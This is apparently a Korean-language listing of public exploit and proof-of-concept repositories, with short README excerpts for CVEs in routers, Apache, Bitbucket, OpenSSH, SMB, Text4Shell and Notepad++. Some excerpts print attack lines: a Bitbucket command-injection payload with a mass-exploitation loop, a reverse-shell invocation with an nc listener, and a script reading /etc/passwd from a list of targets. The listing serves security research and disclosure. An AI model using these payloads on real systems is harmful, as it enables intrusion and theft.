ez-iRZ

ez-iRZ CVE-2022-27226 익스플로잇 iRZ 모바일 라우터에서 사이트 간 요청 위조CSRF를 통한 원격 코드 실행 크레딧 John Jackson Chris Mack --- https://github.com/0xHalcyon Stephen Chavez --- https://github.com/redragonx/ Robert Willis 설명 2022-03-16까지의 iRZ 모바일 라우터에서 CSRF 문제로 인해 공격자가 라우터 관리 패널에 crontab 항목을 만들 수 있습니다. 크론 작업은 공격자가 정의한 간격으로...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell CVE-2021-42013 PoC 리버스 셸 Apache 2.4.50 with CGI 사용법 : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 추가 정보: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 nc -lvnp 9999 참고 자료...

react2shell

React2Shell - CVE-2025-55182 익스플로잇 PoC CVE-2025-55182에 대한 개념 증명 익스플로잇입니다. React Server Components를 사용하는 Next.js 애플리케이션의 치명적인 원격 코드 실행 취약점입니다. ⚠️ 면책 조항 이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다. ❌ 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 사용하지 마십시오. ❌ 컴퓨터 시스템에 대한 무단 접근은 불법입니다. ✅ 통제된 환경에서 학습 및 승인된 침투 테스트 용도로만 사용하십시오...

CVE-2024-31982

CVE-2024-31982 PoC 및 대량 스캐너 개요 CVE-2024-31982에 대한 POC: XWiki Platform 원격 코드 실행 14.10.20. 이 POC는 이 보안 권고를 기반으로 합니다. 사용 방법 단일 대상 스캔 단일 대상 엔드포인트를 스캔하려면: python CVE-2024-31982.py -u target 대량 대상 스캔 대량 대상들을 스캔하려면: python cve-2024-31982.py -f targets.txt 설치 최소 요구 사항 Python 3.6 이상 requests 라이브러리 스크립트 설치...

CVE-2015-5377

CVE-2015-5377 Elasticsearch 1.5.2는 안전하지 않은 Java 역직렬화를 통해 RCE에 취약합니다. 익스플로잇은 9300 포트의 전송 프로토콜을 공격합니다. 역직렬화는 RCE를 달성하기 위해 Groovy MethodClosure 체인을 기반으로 합니다...

Notepad-8.9.6-PoC

Notepad++ PoCs CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800 Notepad++ = 8.9.6에서 발견된 세 가지 취약점에 대한 개념 증명 스크립트이며, v8.9.6.1 2026-05-26에서 패치되었습니다. 취약점 CVE| 유형| CVSS| 영향 ---|---|---|--- CVE-2026-48770| WMCOPYDATA를 통한 OOB 읽기| 5.0| DoS / 충돌 CVE-2026-48778| config.xml을 통한 OS 명령 삽입| 7.8| RCE...

CVE-2022-36804-POC

CVE-2022-36804-POC 🕷️ Bitbucket CVE-2022-36804 인증되지 않은 원격 명령 실행 익스플로잇 공개적으로 보이는 리포지토리 찾기 - example.com/repos?visibility=public /rest/api/latest/projects/project-path/archive?filename=kiE0h&at=kiE0h&path=kiE0h&prefix=ax%00--exec=%60id%60%00--remote=origin 대량 익스플로잇 for url in $cat hosts.txt | httpx...

CVE-2021-41773_CVE-2021-42013

Apache HTTP Server 2.4.49, 2.4.50 - 경로 탐색 및 RCE 익스플로잇 작성자: Lucas Souza https://ls4ss.github.io/ 벤더 홈페이지: https://apache.org/ 버전: 2.4.49, 2.4.50 테스트 환경: 2.4.49, 2.4.50 CVE : CVE-2021-41773, CVE-2021-42013 크레딧: Ash Daulton 및 cPanel 보안 팀 사용법 ./PoC.sh targets.txt /etc/passwd ./PoC.sh targets.txt...

goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342-

Goahead 웹서버 v5.1.5 미만 RCE PoC CVE-2021-42342 Goahead Webserver의 최근 버그가 William Bowling에 의해 발견되었으며, 이로 인해 공격받은 서버에서 RCE가 발생합니다. 이 문제는 5.1.5 미만 버전에 존재하며, Shodan에 따르면 약 280만 개의 인터넷 서버가 이에 해당합니다. 현재 CVE도 공개되었습니다 https://nvd.nist.gov/vuln/detail/CVE-2021-42342 RCE의 원인은 파일 업로드 필터가 활성화된 경우 사용자가 파일을 업로드함...

CVE-2024-6387

CVE-2024-6387.py - PoC 중요 참고 사항!!! 이 익스플로잇은 32비트 OpenSSH 서버에서만 작동합니다. POC가 32비트 포인터를 사용하기 때문입니다! 또한 일부 버전은 이미 패치되었으며 모든 서버가 취약한 것은 아닙니다. 테스트 완료: Kali Linux, ParrotSec, Ubuntu 22.04 📜 설명 OpenSSH 서버의 원격 인증되지 않은 코드 실행 취약점 CVE-2024-6387.py는 최근 발견된 regreSSHion 취약점CVE-2024-6387을 대상으로, 취약한 OpenSSH 버전을 실...

docker-CVE-2019-11043

CVE-2019-11043 확인용 Docker 이미지 및 명령어 CVE: CVE-2019-11043 설명: PHP 7.1.x7.1.33 미만, 7.2.x7.2.24 미만, 7.3.x7.3.11 미만 버전의 특정 FPM 구성에서 FPM 모듈이 할당된 버퍼를 지나 FCGI 프로토콜 데이터용으로 예약된 공간에 쓰도록 만들어 원격 코드 실행이 가능해집니다. 상세 정보: https://nvd.nist.gov/vuln/detail/CVE-2019-11043 Github 익스플로잇:...

SMB-Protocol-Vulnerability_CVE-2017-0144

LAB: SMB 프로토콜 취약점을 이용한 Windows 운영 체제 공격 1. 설명 2. 개요 3. 준비 4. 공격 실행 5. 방어 방법 1. 설명 이번 실습에서는 두 대의 컴퓨터를 사용하여 Windows 운영 체제의 SMB 프로토콜 취약점을 이용한 공격을 시뮬레이션합니다. 한 대는 Kali Linux 운영 체제를 실행하며 공격자해커 역할을 합니다. 그리고 다른 한 대는 피해자victim 역할을 합니다. 피해자 컴퓨터는 SMB 취약점이 있는 Windows 7 64비트 운영 체제를 실행 중입니다. 이를 위해 Kali...

CVE-2020-8515

CVE-2020-8515 예전에 굴러다니던 Draytek CVE-2020-8515 PoC입니다. 재미있게도, 주입된 명령이 두 번 실행됩니다. 아래를 보세요: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown Linux Vigor3900 2.6.33.5 1 Wed...

WhatsAppHACK-RCE

WhatsAppHACK-RCE...

CVE-2022-24112

CVE-2022-24112 Apache APISIX batch-requests RCECVE-2022-24112 将目标放入url.txt python3 ApacheAPISIXRCECVE-2022-24112.py Cmd:...

vbox_cve_2017_10235

CVE-2017-10235: VirtualBox E1000 장치 버퍼 오버플로우 소개 다음 문서는 VirtualBox v5.1.22현재 v5.1.24에서 수정됨의 게스트 장치 에뮬레이션 구성 요소 DevE1000Intel 82540EM 이더넷 컨트롤러 에뮬레이션의 e1kFallbackAddToFrame 함수에서 발견된 버그에 대해 상세히 설명하며, 이 버그는 게스트 OS가 공격자에 의해 제어될 때 호스트에서 버퍼 오버플로우를 유발합니다. Oracle은 2017년 7월 CPU에서 발급된 CVE-2017-10235로 이 버그를...

CVE-2020-0796

CVE-2020-0796: SMBGhost - 분석 및 윤리적 익스플로잇 소개 CVE-2020-0796은 "SMBGhost"로도 알려진, Microsoft Windows 운영 체제에 영향을 미치는 심각한 보안 취약점입니다. 이 취약점은 "워머블" 범주에 속하며, 네트워크로 연결된 시스템 간에 빠르게 전파될 수 있음을 의미합니다. 이 취약점은 파일 및 프린터 공유를 처리하는 Microsoft의 서버 메시지 블록SMB 프로토콜에 존재합니다. 이를 악용하면 취약한 서버에서 원격 코드 실행이 가능해지며, 잠재적으로 전체 시스템이 장악...

CVE-2023-41425

CVE-2023-41425 설명 WonderCMS 버전 3.2.0부터 3.4.2까지의 사이트 간 스크립팅XSS 취약점으로, 원격 공격자가 installModule 구성 요소에 업로드된 조작된 스크립트를 통해 임의 코드를 실행할 수 있습니다. 이는 prodigiousMind의 원본 익스플로잇을 수정한 버전으로, 전체 익스플로잇을 외부 인터넷 연결 없이 로컬에서 제공하도록 확장합니다. 바다 한가운데 있으면서 자전거에 문제를 발견했다면 유용할 것입니다... 참고: xss.js는 데모용으로 저장소에 남겨져 있으며, 스크립트를 실행하면...

CVE-2022-42889-Text4Shell-POC

CVE-2022-42889 Text4Shell 테스트 스크립트 이 저장소는 CVE-2022-42889로 참조되는 Text4Shell 취약점 테스트 과정을 자동화하는 Python 스크립트를 포함합니다. Text4Shell CVE-2022-42889 정보 Text4Shell은 광범위한 시스템에 영향을 미치는 심각한 취약점입니다. 이 취약점은 시스템이 텍스트 문자열을 구문 분석하는 방식에 있으며, 임의 코드 실행 또는 SSRF 공격을 허용합니다. 취약점은 조작된 문자열을 통해 악용되며, JavaScript 코드가 실행되거나원격 코드...

CVE-2021-4045

CVE-2021-4045 CVE-2021-4045는 TP-Link Tapo c200 IP 카메라에서 원격 코드 실행을 가능하게 하는 명령 주입 취약점입니다. 이 취약점은 장치의 주요 바이너리 중 하나인 uhttpd에서 사용자 입력에 대한 충분한 검사가 이루어지지 않아 펌웨어 버전 1.1.16 Build 211209 Rel. 37726N 이전의 모든 버전에 영향을 미칩니다. 전체 분석 내용은 여기에서 확인할 수 있습니다. 익스플로잇 pwnTapo.py 이것은 CryptoParty Madrid 2022에서 취약점을 시연하기 위해...